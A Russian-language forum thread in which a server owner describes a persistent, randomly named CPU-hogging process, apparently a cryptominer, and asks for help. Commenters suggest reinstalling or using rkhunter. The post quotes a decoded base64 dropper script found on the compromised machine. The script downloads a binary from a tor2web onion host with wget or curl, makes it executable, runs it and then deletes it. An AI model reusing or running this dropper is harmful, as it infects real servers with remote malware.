2

Сервер linux Ubuntu 16.04, 4 ядра, 16 гб оперативной памяти. На сервере крутятся 3 сайта под django + несколько тяжелых заданий по крону.

Странный процесс с рандомным названием загружает процессор так, что другие службы/процессы/демоны не могут работать. Сайты, естесственно, перестают быть доступными для пользователей, вызывается ошибка 502. Load average зашкаливает.

Отключал задания в Cron вообще, перезагружал сервер, все равно этот странный процесс появляется и грузит сервер наглухо.

После перезагрузки сервера или после убийства процесса, сервер некоторое время (минут 15) работает нормально, потом процесс появляется вновь под другим рандомным названием.

странный процесс с рандомным названием

Попытки найти откуда возникает странный процесс ни к чему не привели.

root@ns3097294:~# ps -aux | grep 2217
root      2217  185  0.0  14120  8116 ?        Ssl  10:14  46:40 m1Nq1q
root     17860  0.0  0.0  19360   980 pts/3    S+   10:39   0:00 grep --color=auto 2217

root@ns3097294:~# ps -p 2217 -o ppid=:wq
  :wq
    1

1 - это пользователь root. Запускается под рутом.

root@ns3097294:~# /proc/2217/maps
-bash: /proc/2217/maps: Permission denied

root@ns3097294:~# ps aux | grep 'mlNqlq'
root     22498  0.0  0.0  19356   976 pts/3    S+   11:01   0:00 grep --color=auto mlNqlq

Вывод дерева: вывод дерева

root@ns3097294:~# cat /proc/2217/status
Name:   m1Nq1q
State:  S (sleeping)
Tgid:   2217
Ngid:   0
Pid:    2217
PPid:   1
TracerPid:      0
Uid:    0       0       0       0
Gid:    0       0       0       0
FDSize: 64
Groups: 0
VmPeak:    14120 kB
VmSize:    14120 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:      8116 kB
VmRSS:      8116 kB
VmData:    13984 kB
VmStk:       132 kB
VmExe:       260 kB
VmLib:  18446744073709551360 kB
VmPTE:        48 kB
VmSwap:        0 kB
Threads:        7
SigQ:   0/63752
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000004003
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
Seccomp:        0
Cpus_allowed:   f
Cpus_allowed_list:      0-3
Mems_allowed:   00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        2
nonvoluntary_ctxt_switches:     79
PaX:    pemRs

Полагаю, что это вирус, но ClamAV ничего нашел, как и его аналоги...

root@ns3097294:~# ll /proc/2217/cwd
lrwxrwxrwx 1 root root 0 авг 19 11:08 /proc/2217/cwd -> //

root@ns3097294:~# ll /proc/2217/fd/
total 0
dr-x------ 2 root root  0 авг 19 10:15 ./
dr-xr-x--- 7 root root  0 авг 19 10:14 ../
lrwx------ 1 root root 64 авг 19 11:09 0 -> socket:[14397067]
l-wx------ 1 root root 64 авг 19 10:15 3 -> /tmp/.X11-lock

Прошу помощи найти и убить навсегда этот ужас у опытных жителей форума, т.к. переустанавливать сервер - это крайняя и очень нежелательная мера.

UPD Вывожу cat:

root@ns3097294:~# cat /proc/17764/maps
00400000-004ad000 r-xp 00000000 00:00 0
004ad000-006ac000 ---p 00000000 00:00 0
006ac000-006b1000 rwxp 00000000 00:00 0
006b1000-01293000 ---p 00000000 00:00 0
01293000-012a2000 rwxp 00000000 00:00 0                                  [heap]
7d17f9eaf000-7d17f9eb1000 ---p 00000000 00:00 0
7d17f9eb1000-7d17f9ed2000 rwxp 00000000 00:00 0                          [stack:2459]
7d17f9ed2000-7d17f9ed4000 ---p 00000000 00:00 0
7d17f9ed4000-7d17f9ef5000 rwxp 00000000 00:00 0                          [stack:2458]
7d17f9ef5000-7d17f9ef7000 ---p 00000000 00:00 0
7d17f9ef7000-7d17f9f18000 rwxp 00000000 00:00 0                          [stack:2457]
7d17f9f18000-7d17f9f1a000 ---p 00000000 00:00 0
7d17f9f1a000-7d17f9f3b000 rwxp 00000000 00:00 0                          [stack:2456]
7d17f9f3b000-7d17f9f3d000 ---p 00000000 00:00 0
7d17f9f3d000-7d17fa95f000 rwxp 00000000 00:00 0                          [stack:2455]
7d17fa95f000-7d17fa960000 r-xp 00000000 09:01 109136                     /root/ZsNyCa (deleted)
7d17fa96a000-7d17fa97a000 rwxp 00000000 00:00 0
7d17fa97a000-7d17fa97c000 ---p 00000000 00:00 0
7d17fa97c000-7d17fa9a1000 rwxp 00000000 00:00 0                          [stack:2454]
7d17fa9a1000-7d17fa9a2000 r-xp 00000000 00:00 0                          [vdso]
7e591aa7e000-7e591aa9f000 rwxp 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r--p 00000000 00:00 0                  [vsyscall]

В папке /root/ появились подозрительные файлы:

подозрительные файлы в рут

UPD2 В корне сервера обнаружил файл *cmd с содержимым, зашифрованным base64.

введите сюда описание изображения

Расшифровал и получил вот это:

#!/bin/bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
x=/systemd-login-x
z=./$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z
chmod +x $z;$z;rm -f $z
}
cd /tmp
touch /usr/bin/asdf && cd /usr/bin/
touch /dev/shm/asdf && cd /dev/shm/
touch /var/tmp/asdf && cd /var/tmp/
rm -f /*/*/asdf
if ! ps -p $(cat /tmp/.X1M-unix); then
x rapid7cpfqnwxodo.tor2web.io
fi

Вижу, что это и есть причина моих бед, но у кого-то есть мысли что это вообще такое и что делает??? Файл я конечно удалил, но все равно процесс появляется и грузит систему...

5
  • 3
    Если вирус умудрился проникнуть в сервер и получить root, переустановка — это ЕДИНСТВЕННАЯ возможная мера. Никакими другими способами вы не сможете отнять доступ у достаточно умного вируса, получившего root.
    – andreymal
    19 авг 2019 в 8:16
  • Впрочем, особо хитрые вирусы могут прошить себя в биос так, что даже переустановка не поможет. К счастью, большинство вирусов не настолько умные.
    – andreymal
    19 авг 2019 в 8:18
  • 1
    Может rkhunter что-то подскажет? А так, самый просто и надежный способ сделать бекап и переустановить ОС не забыв о обновлениях.
    – Gordio
    19 авг 2019 в 9:22
  • Кто-то Bitcoin майнит.
    – 0andriy
    19 авг 2019 в 15:42
  • перед /proc/2217/maps забыл cat нпбрать, так что самое интересное не видно... ну или хотя бы куда указывает /proc/2217/exe...
    – Fat-Zer
    19 авг 2019 в 20:04

1 ответ 1

1

Попробуйте такой вариант:

$ ps axo pid,ppid,comm

Зная pid подозрительных процессов Вы легко найдёте по ppid их первоисточник. А там (в первоисточнике) будет команда, которая запускает всю эту беду.

Ваш ответ

By clicking “Отправить ответ”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.